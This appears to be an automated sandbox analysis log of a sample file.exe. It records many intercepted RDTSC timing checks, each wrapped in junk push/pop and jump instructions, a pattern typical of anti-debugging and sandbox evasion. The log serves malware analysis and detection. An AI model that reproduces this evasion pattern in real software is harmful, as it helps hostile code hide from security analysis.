Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8C6B7E second address: 8C6B8A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pushad 0x00000004 popad 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a push esi 0x0000000b pop esi 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8C6B8A second address: 8C6B8E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8CA06A second address: 8CA085 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 jo 00007FA67C81A866h 0x0000000c popad 0x0000000d push eax 0x0000000e push edx 0x0000000f jnp 00007FA67C81A866h 0x00000015 jng 00007FA67C81A866h 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8CA085 second address: 8CA0AD instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA67D0802A8h 0x00000007 jne 00007FA67D080296h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f popad 0x00000010 push eax 0x00000011 push edx 0x00000012 push ebx 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8CA0AD second address: 8CA0B8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 ja 00007FA67C81A866h 0x0000000a pop ebx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8CA0B8 second address: 8CA0C2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jg 00007FA67D080296h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8CA0C2 second address: 8CA0D7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007FA67C81A86Bh 0x0000000d push edx 0x0000000e pop edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8CA39F second address: 8CA3BF instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 jmp 00007FA67D0802A7h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8CA524 second address: 8CA52E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 js 00007FA67C81A866h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8CA52E second address: 8CA543 instructions: 0x00000000 rdtsc 0x00000002 jo 00007FA67D0802A7h 0x00000008 jmp 00007FA67D08029Bh 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8CA6F8 second address: 8CA71A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 pop esi 0x00000008 push eax 0x00000009 push edx 0x0000000a push edi 0x0000000b push esi 0x0000000c pop esi 0x0000000d pushad 0x0000000e popad 0x0000000f pop edi 0x00000010 pushad 0x00000011 jmp 00007FA67C81A86Bh 0x00000016 push ecx 0x00000017 pop ecx 0x00000018 push esi 0x00000019 pop esi 0x0000001a push eax 0x0000001b push edx 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8CA71A second address: 8CA71F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8CA71F second address: 8CA727 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push esi 0x00000005 pop esi 0x00000006 push ecx 0x00000007 pop ecx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8CA862 second address: 8CA877 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FA67D0802A1h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8CA877 second address: 8CA880 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push ebx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8CA880 second address: 8CA8A1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 pop edx 0x00000006 pop eax 0x00000007 pushad 0x00000008 pushad 0x00000009 jmp 00007FA67D0802A6h 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8CA8A1 second address: 8CA8E6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FA67C81A878h 0x00000009 popad 0x0000000a jmp 00007FA67C81A871h 0x0000000f jmp 00007FA67C81A874h 0x00000014 pushad 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8CAA25 second address: 8CAA2C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8CAA2C second address: 8CAA38 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jnc 00007FA67C81A866h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8CAA38 second address: 8CAA3C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8D111F second address: 8D112F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FA67C81A86Ch 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8D112F second address: 8D1139 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007FA67D080296h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8D15A8 second address: 8D15AC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8D15AC second address: 8D15B2 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8D15B2 second address: 8D15BA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8D15BA second address: 8D15BE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8D15BE second address: 8D15C2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8D1852 second address: 8D1883 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnp 00007FA67D080296h 0x0000000a ja 00007FA67D0802B7h 0x00000010 jmp 00007FA67D08029Bh 0x00000015 jmp 00007FA67D0802A6h 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8D1883 second address: 8D1889 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8D1889 second address: 8D188F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8D1B47 second address: 8D1B4D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8D1B4D second address: 8D1B57 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 pushad 0x00000006 pushad 0x00000007 popad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8D1E21 second address: 8D1E26 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8D1E26 second address: 8D1E2B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8D1E2B second address: 8D1E31 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8D1E31 second address: 8D1E60 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jg 00007FA67D080296h 0x0000000a popad 0x0000000b push eax 0x0000000c js 00007FA67D080296h 0x00000012 pop eax 0x00000013 pop edx 0x00000014 pop eax 0x00000015 push edx 0x00000016 jmp 00007FA67D0802A2h 0x0000001b pushad 0x0000001c push edx 0x0000001d pop edx 0x0000001e push esi 0x0000001f pop esi 0x00000020 push eax 0x00000021 push edx 0x00000022 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8D20DF second address: 8D20E5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8D20E5 second address: 8D20F6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop ecx 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 ja 00007FA67D080296h 0x0000000f push eax 0x00000010 pop eax 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8D20F6 second address: 8D211C instructions: 0x00000000 rdtsc 0x00000002 je 00007FA67C81A866h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jc 00007FA67C81A868h 0x00000010 pushad 0x00000011 popad 0x00000012 pushad 0x00000013 jno 00007FA67C81A866h 0x00000019 pushad 0x0000001a popad 0x0000001b pushad 0x0000001c popad 0x0000001d push edx 0x0000001e pop edx 0x0000001f popad 0x00000020 push eax 0x00000021 push edx 0x00000022 push esi 0x00000023 pop esi 0x00000024 push ecx 0x00000025 pop ecx 0x00000026 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8D2C18 second address: 8D2C1E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8D767E second address: 8D76A3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jg 00007FA67C81A866h 0x0000000a pushad 0x0000000b popad 0x0000000c jmp 00007FA67C81A872h 0x00000011 popad 0x00000012 push eax 0x00000013 push edx 0x00000014 push ebx 0x00000015 pop ebx 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8D76A3 second address: 8D76A7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8D76A7 second address: 8D76B3 instructions: 0x00000000 rdtsc 0x00000002 jp 00007FA67C81A866h 0x00000008 push eax 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8D7B87 second address: 8D7B9C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA67D08029Bh 0x00000007 push eax 0x00000008 push edx 0x00000009 jbe 00007FA67D080296h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8D7D05 second address: 8D7D09 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8D7FE0 second address: 8D7FEC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 jns 00007FA67D080296h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8D7FEC second address: 8D8019 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA67C81A86Ah 0x00000007 pushad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b js 00007FA67C81A881h 0x00000011 jmp 00007FA67C81A875h 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8D8019 second address: 8D8059 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007FA67D0802A3h 0x0000000d jnc 00007FA67D0802B5h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8D8059 second address: 8D805E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8D805E second address: 8D8066 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8D824B second address: 8D8251 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8E49CF second address: 8E49EC instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA67D0802A2h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edi 0x0000000a push eax 0x0000000b push edx 0x0000000c push edi 0x0000000d push eax 0x0000000e pop eax 0x0000000f pop edi 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8E49EC second address: 8E49F2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edx 0x00000005 pop edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8E2DE1 second address: 8E2E08 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FA67D0802A4h 0x00000009 jmp 00007FA67D08029Ch 0x0000000e push ecx 0x0000000f pop ecx 0x00000010 popad 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8E2E08 second address: 8E2E0D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8E2E0D second address: 8E2E27 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 jmp 00007FA67D0802A2h 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8E2E27 second address: 8E2E47 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 ja 00007FA67C81A86Eh 0x0000000b pop edx 0x0000000c pop eax 0x0000000d pushad 0x0000000e push eax 0x0000000f push edx 0x00000010 jc 00007FA67C81A866h 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8E2E47 second address: 8E2E4B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8E2E4B second address: 8E2E6A instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007FA67C81A875h 0x0000000d push ebx 0x0000000e pop ebx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8E3268 second address: 8E326C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8E326C second address: 8E3272 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8E3272 second address: 8E327C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8E327C second address: 8E3282 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8E34E8 second address: 8E34F1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pushad 0x00000007 popad 0x00000008 popad 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8E365F second address: 8E3663 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8E3A21 second address: 8E3A36 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 je 00007FA67D080296h 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d jnc 00007FA67D080296h 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8E3A36 second address: 8E3A3A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8E3A3A second address: 8E3A3E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8EBDEA second address: 8EBDEF instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8F825E second address: 8F827E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007FA67D0802A8h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8F827E second address: 8F8284 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8F8284 second address: 8F828A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 90AEF0 second address: 90AEF7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 910A5E second address: 910A97 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 jmp 00007FA67D0802A1h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b jmp 00007FA67D0802A7h 0x00000010 push eax 0x00000011 jnp 00007FA67D080296h 0x00000017 pop eax 0x00000018 pushad 0x00000019 push eax 0x0000001a push edx 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9151F1 second address: 9151FF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnc 00007FA67C81A866h 0x0000000a pushad 0x0000000b popad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9198AE second address: 9198C5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 ja 00007FA67D080296h 0x0000000a jns 00007FA67D080296h 0x00000010 popad 0x00000011 push eax 0x00000012 push edx 0x00000013 push esi 0x00000014 pop esi 0x00000015 push edi 0x00000016 pop edi 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9198C5 second address: 9198CF instructions: 0x00000000 rdtsc 0x00000002 jg 00007FA67C81A866h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9199D9 second address: 9199E9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 jng 00007FA67D080296h 0x0000000c push eax 0x0000000d pop eax 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9199E9 second address: 9199F2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9199F2 second address: 9199F6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 919B54 second address: 919B5A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 919B5A second address: 919B5E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 919B5E second address: 919B76 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA67C81A874h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 91AB3A second address: 91AB42 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 91DBE9 second address: 91DC0A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 push ebx 0x00000007 pop ebx 0x00000008 popad 0x00000009 pushad 0x0000000a pushad 0x0000000b popad 0x0000000c jmp 00007FA67C81A874h 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 91DC0A second address: 91DC16 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 jng 00007FA67D080296h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 91DC16 second address: 91DC1A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 931861 second address: 931865 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 933246 second address: 93324C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 93324C second address: 933250 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 933250 second address: 933265 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007FA67C81A86Fh 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9330C5 second address: 9330EB instructions: 0x00000000 rdtsc 0x00000002 jo 00007FA67D080296h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b jmp 00007FA67D0802A9h 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 941074 second address: 941078 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 95917C second address: 9591C0 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA67D0802A0h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a jmp 00007FA67D0802A3h 0x0000000f jo 00007FA67D080296h 0x00000015 jmp 00007FA67D0802A0h 0x0000001a popad 0x0000001b pop ecx 0x0000001c pushad 0x0000001d pushad 0x0000001e push eax 0x0000001f push edx 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9591C0 second address: 9591C8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9591C8 second address: 9591ED instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jmp 00007FA67D0802A4h 0x0000000a push edx 0x0000000b jg 00007FA67D080296h 0x00000011 pop edx 0x00000012 push eax 0x00000013 push edx 0x00000014 push edx 0x00000015 pop edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9591ED second address: 9591F1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 959431 second address: 959436 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 95984E second address: 95986C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007FA67C81A877h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9599CA second address: 9599FF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FA67D0802A8h 0x00000009 popad 0x0000000a pushad 0x0000000b jmp 00007FA67D0802A4h 0x00000010 push edi 0x00000011 pop edi 0x00000012 popad 0x00000013 rdtsc
